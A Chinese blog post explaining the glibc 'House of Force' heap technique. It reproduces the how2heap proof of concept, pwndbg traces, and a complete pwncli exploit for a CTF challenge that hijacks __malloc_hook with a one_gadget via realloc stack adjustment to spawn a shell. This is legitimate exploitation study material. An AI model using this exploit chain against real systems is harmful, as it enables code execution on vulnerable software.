selph
selph
发布于 2024-01-08 / 43 阅读
0
0

堆利用详解:the house of force

简介

介绍部分,来自参考资料[0]

漏洞成因

堆溢出写 top_chunk

适用范围

  • 2.23——2.29
  • 可分配任意大小的 chunk
  • 需要泄露或已知要操作的目标地址

利用原理

top_chunk 的利用,过程如下:

  • 申请 chunk A
  • A 的时候溢出,修改 top_chunksize 为很大的数
  • 分配很大的 chunk 到任意已知地址(可能需要通过整数溢出指针的形式)

相关技巧

注意,在 glibc-2.29 后加入了检测,house of force 基本失效:

在申请内存的时候进行检查的(_int_malloc):

// 申请的大小如果超过系统内存,报错
if (__glibc_unlikely(size > av->system_mem))
	malloc_printerr("malloc(): corrupted top size");

利用效果

  • 任意地址分配
  • 任意地址读写

实验:how2heap

/*

   This PoC works also with ASLR enabled.
   It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
   If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum 
   ( http://phrack.org/issues/66/10.html )

   Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04

*/


#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
	fprintf(stderr, "\nWelcome to the House of Force\n\n");
	fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
	fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
		"and is the chunk that will be resized when malloc asks for more space from the os.\n");

	fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
	fprintf(stderr, "Its current value is: %s\n", bss_var);



	fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
	intptr_t *p1 = malloc(256);
	fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);

	fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
	int real_size = malloc_usable_size(p1);
	fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);

	fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");

	//----- VULNERABILITY ----
	intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
	fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);

	fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
	fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
	*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
	fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
	//------------------------

	fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
	   "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
	   "overflow) and will then be able to allocate a chunk right over the desired region.\n");

	/*
	 * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
	 * new_top = old_top + nb
	 * nb = new_top - old_top
	 * req + 2sizeof(long) = new_top - old_top
	 * req = new_top - old_top - 2sizeof(long)
	 * req = dest - 2sizeof(long) - old_top - 2sizeof(long)
	 * req = dest - old_top - 4*sizeof(long)
	 */
	unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
	fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
	   "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
	void *new_ptr = malloc(evil_size);
	fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);

	void* ctr_chunk = malloc(100);
	fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
	fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
	fprintf(stderr, "Now, we can finally overwrite that value:\n");

	fprintf(stderr, "... old string: %s\n", bss_var);
	fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
	strcpy(ctr_chunk, "YEAH!!!");
	fprintf(stderr, "... new string: %s\n", bss_var);

	assert(ctr_chunk == bss_var);


	// some further discussion:
	//fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
	//fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
	//	"and we \nwant to set this result to the address of malloc_got_address-8\n\n");
	//fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
	//fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
	//fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
	//	"\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");

	//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
	//fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);

	//fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}

我这没得libc 2.23的编译环境,就懒得弄了,这个手法在新版本也失效了,这里就调试到最后一步申请之前,因为安全检查是在malloc从top去申请的时候才进行

首先申请内存,然后覆盖top指针为很大的数:

0x555555559290  0x0000000000000000      0x0000000000000111      ................
0x5555555592a0  0x0000000000000000      0x0000000000000000      ................
0x5555555592b0  0x0000000000000000      0x0000000000000000      ................
0x5555555592c0  0x0000000000000000      0x0000000000000000      ................
0x5555555592d0  0x0000000000000000      0x0000000000000000      ................
0x5555555592e0  0x0000000000000000      0x0000000000000000      ................
0x5555555592f0  0x0000000000000000      0x0000000000000000      ................
0x555555559300  0x0000000000000000      0x0000000000000000      ................
0x555555559310  0x0000000000000000      0x0000000000000000      ................
0x555555559320  0x0000000000000000      0x0000000000000000      ................
0x555555559330  0x0000000000000000      0x0000000000000000      ................
0x555555559340  0x0000000000000000      0x0000000000000000      ................
0x555555559350  0x0000000000000000      0x0000000000000000      ................
0x555555559360  0x0000000000000000      0x0000000000000000      ................
0x555555559370  0x0000000000000000      0x0000000000000000      ................
0x555555559380  0x0000000000000000      0x0000000000000000      ................
0x555555559390  0x0000000000000000      0x0000000000000000      ................

0x5555555593a0  0x0000000000000000      0xffffffffffffffff      ................         <-- Top chunk

然后构造很大的申请请求:

────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /home/selph/ctf/how2heap/glibc_2.23/house_of_force/house_of_force.c
   64          * req = new_top - old_top - 2sizeof(long)
   65          * req = dest - 2sizeof(long) - old_top - 2sizeof(long)
   66          * req = dest - old_top - 4*sizeof(long)
   67          */
   68         unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
 ► 69         fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
   70            "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
   71         void *new_ptr = malloc(evil_size);
   72         fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);
   73
   74         void* ctr_chunk = malloc(100);
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> p/x evil_size
$2 = 0xffffffffffffec60

在没有这个检查的情况下,会从top进行切割,就是top大小减去申请大小,之后的位置就是新的top指针:

        if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE))
        {
            remainder_size = size - nb;
            remainder = chunk_at_offset(victim, nb);
            av->top = remainder;
            set_head(victim, nb | PREV_INUSE |
                                 (av != &main_arena ? NON_MAIN_ARENA : 0));
            set_head(remainder, remainder_size | PREV_INUSE);

            check_malloced_chunk(av, victim, nb);
            void *p = chunk2mem(victim);
            alloc_perturb(p, bytes);
            return p;
        }

原理很简单,具体实操看下面的题目吧

实验:buuctf - gyctf_2020_force

实验环境:libc2.23

题目分析:

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  __int64 v3; // rax
  char s[256]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v5; // [rsp+118h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  memset(s, 255, sizeof(s));
  while ( 1 )
  {
    memset(s, 255, sizeof(s));
    puts("1:add");
    puts("2:puts");
    read(0, nptr, 0xFuLL);
    v3 = atol(nptr);
    if ( v3 == 1 )
    {
      sub_A20();	// add
    }
    else if ( v3 == 2 )
    {
      sub_B92();	// puts
    }
  }
}

add:

这里申请大小可控,输入内容长度为写死的0x50字节,可造成堆溢出写

每次申请完内存会给出申请的内存地址,堆地址泄露

unsigned __int64 add()
{
  const void **i; // [rsp+0h] [rbp-120h]
  __int64 size; // [rsp+8h] [rbp-118h]
  char s[256]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v4; // [rsp+118h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(s, 255, sizeof(s));
  for ( i = (const void **)&unk_202080; *i; ++i )
    ;
  if ( (char *)i - (char *)&unk_202080 > 39 )
    exit(0);
  puts("size");
  read(0, nptr, 0xFuLL);
  size = atol(nptr);
  *i = malloc(size);
  if ( !*i )
    exit(0);
  printf("bin addr %p\n", *i);
  puts("content");
  read(0, (void *)*i, 0x50uLL);
  puts("done");
  return __readfsqword(0x28u) ^ v4;
}

the house of force

小知识点:申请超过top chunk大小的内存,或者在arena初始化之前申请大内存,会使用sysmalloc来申请映射内存,与libc有固定偏移,可以用来泄露libc地址

修改top指针为最大值

计算偏移,当前top指针到__malloc_hook的偏移,然后覆盖one_gadget上去即可:

但是这里存在一个问题,就是one_gadget用不了,因为栈上的地址不可用,这里就可以通过realloc来调整栈空间,使得变得可用,下面写为啥可以这么做

先给出完整exp:

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

one_gadgets: list = get_current_one_gadget_from_libc(more=False)
#CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)

def cmd(i, prompt='puts\n'):
    sla(prompt, i)

def add(nb,content):
    cmd('1')
    sla('size\n',str(nb))
    ru('bin addr ')
    addr = rl()[:-1].decode()
    addr = int(addr,16)
    sla('content\n',content)
    ru('done\n')
    return addr
    #......

def show():
    cmd('2')
    return rl()[:-1]
    #......

# the house of force

a1 = add(0x21000,'a')
log.info(f"a1 => {hex(a1)}")

libc.address = a1 -0x5ca010
log.success(f'libc addr => {hex(libc.address)}')

heap_leak = add(0x18,flat({
    0x18:0xffffffffffffffff
}))

malloc_size = libc.sym.__malloc_hook -0x10 - (heap_leak+0x20) -0x10
add(malloc_size,'b')

add(0x18,flat({
  
    0x08:pack(libc.address + one_gadgets[0]),
    0x10:pack(libc.sym.realloc + 0x10)
    }))

#pause()

cmd('1')
sla('size\n',str(0x10))
sl('w')

ia()

通过realloc调整栈空间来使用one_gadget

首先是两个hook的位置:是紧挨着的,可以同时给二者赋值

pwndbg> x/xg &__malloc_hook
0x7f2d24a2fb10 <__malloc_hook>: 		0x00007f2d246ef720
pwndbg> x/xg &__malloc_hook-1
0x7f2d24a2fb08 <__realloc_hook>:        0x00007f2d246b027a

调用realloc的时候,会去检查realloc hook函数的值,不为空就调用:

.text:0000000000084710 realloc         proc near               ; CODE XREF: _realloc↑j
.text:0000000000084710                                         ; DATA XREF: LOAD:0000000000006BA0↑o ...
.text:0000000000084710
.text:0000000000084710 var_60          = qword ptr -60h
.text:0000000000084710 var_58          = byte ptr -58h
.text:0000000000084710 var_48          = byte ptr -48h
.text:0000000000084710
.text:0000000000084710 ; __unwind {
.text:0000000000084710                 push    r15             ; Alternative name is '__libc_realloc'
.text:0000000000084712                 push    r14
.text:0000000000084714                 push    r13
.text:0000000000084716                 push    r12
.text:0000000000084718                 mov     r12, rsi
.text:000000000008471B                 push    rbp
.text:000000000008471C                 push    rbx
.text:000000000008471D                 mov     rbx, rdi
.text:0000000000084720                 sub     rsp, 38h
.text:0000000000084724                 mov     rax, cs:__realloc_hook_ptr
.text:000000000008472B                 mov     rax, [rax]
.text:000000000008472E                 test    rax, rax
.text:0000000000084731                 jnz     loc_84958

...

.text:0000000000084958 loc_84958:                              ; CODE XREF: realloc+21↑j
.text:0000000000084958                 mov     rdx, [rsp+68h]
.text:000000000008495D                 call    rax
.text:000000000008495F                 mov     rbp, rax
.text:0000000000084962                 jmp     loc_847E5

realloc+0x10的位置,是sub rsp, 38h,可以提供0x38字节可用栈空间

one gadget的约束:

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

刚好需要rsp+0x30可用,从而使得one gadget可用

流程就是,malloc,进入malloc hook,malloc hook的值是realloc+0x10,realloc hook的值是one gadget,就是这么一条链

参考资料


评论